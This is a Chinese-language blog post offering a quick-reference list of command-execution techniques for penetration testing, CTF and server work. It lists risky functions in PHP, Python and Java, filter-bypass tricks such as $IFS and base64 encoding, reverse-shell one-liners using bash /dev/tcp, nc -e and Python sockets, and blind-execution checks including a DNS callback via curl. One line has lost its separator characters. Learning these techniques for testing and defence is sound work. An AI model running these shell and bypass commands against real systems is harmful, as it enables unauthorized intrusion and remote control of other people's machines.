速查命令执行方法汇总

极客

一篇搞懂命令执行的那些套路!

嘿,朋友们!今天咱们来聊聊一个特别实用、但又容易被忽略的话题——速查命令执行方法汇总,说实话,不管你是搞安全的、做运维的,还是平时喜欢折腾服务器的,命令执行这个东西你肯定绕不开,有时候急着查个东西,结果脑子里一片空白,是不是特别抓狂?别急,今天我就把自己平时积累的、常用的命令执行方法给大家好好捋一捋,保证你看完以后,遇到相关场景能快速上手!

速查命令执行方法汇总

为啥要搞这个速查命令执行方法汇总?

先说说我为什么要写这篇速查命令执行方法汇总吧,其实很简单,就是因为我自己吃过亏!有一次半夜排查问题,明明知道要用某个命令执行方式去验证,结果愣是想不起来具体语法,翻了半天笔记,急得满头大汗,从那以后我就下定决心,一定要把常见的命令执行方法整理成一份速查表,方便自己随时翻看。

而且啊,现在无论是渗透测试、CTF比赛,还是日常运维,命令执行的身影无处不在,你比如Web应用里的RCE漏洞、系统管理里的批量执行、自动化脚本里的调用……真的太多了!所以这份汇总,绝对值得你收藏。

常见的命令执行方法有哪些?

好了,废话不多说,咱们直接上干货!下面这些方法,都是我平时用得比较多的,按场景分了一下类,方便大家速查。

系统命令执行

这个是基础中的基础了,比如在Linux下,你想执行个ls、whoami,直接敲就行,但如果是通过程序去调用,那就得注意了:

  • PHP里:system()、exec()、shell_exec()、passthru()、反引号
  • Python里:os.system()、os.popen()、subprocess.run()
  • Java里:Runtime.getRuntime().exec()、ProcessBuilder

哎呀,这些函数名字是不是看着就头大?别急,你只需要记住:能直接执行系统命令的,都是高危函数,在代码审计里看到它们,眼睛就得放光!

命令拼接与绕过

有时候吧,目标环境会过滤一些关键字,比如不让你用cat、不让你用ls,这时候就得靠拼接和绕过了,常见的有:

  • 用、、、&&、&来拼接多条命令
  • 用$IFS代替空格
  • 用${PATH:0:1}这种骚操作来取斜杠
  • 用base64编码后再执行

说实话,这些技巧在CTF里简直不要太常见!我记得有一次比赛,题目过滤了空格和斜杠,我当时就用$IFS和${PATH:0:1}给绕过去了,那叫一个爽!

反弹Shell

命令执行到手之后,下一步往往就是反弹Shell了,这个也是必会的:

  • bash -i >& /dev/tcp/ip/port 0>&1
  • nc -e /bin/bash ip port
  • python -c 'import socket,subprocess,os;...'

这些命令网上一搜一大把,但关键是要根据目标环境选择合适的,比如目标没有nc,那就得用python或者perl,反正多备几个,总没错!

无回显命令执行

这个就比较头疼了,有时候你执行了命令,但页面上啥也不返回,咋办?可以用:

  • 时间盲注:sleep 5
  • DNS外带:curl http://xxx.dnslog.cn
  • 写入文件:echo xxx > /tmp/test

这些方法虽然麻烦点,但关键时刻能救命啊!

速查命令执行方法汇总的实用技巧

说了这么多,最后再给大家分享几个我个人的小技巧:

  1. 建个自己的速查笔记:用Notion或者Typora,把常用的命令执行方法分类整理好,随时更新。
  2. 多动手实践:光看没用,得在虚拟机里自己搭环境练。
  3. 关注最新绕过姿势:安全圈更新太快了,得多逛论坛、看大佬博客。

好啦,今天的速查命令执行方法汇总就到这里了,希望这篇文章能帮到你!如果你觉得有用,记得分享给身边的朋友哦~咱们下期再见!😊

文章版权声明:除非注明,否则均为极客网安-咸鱼原创文章,转载或复制请以超链接形式并注明出处。

目录[+]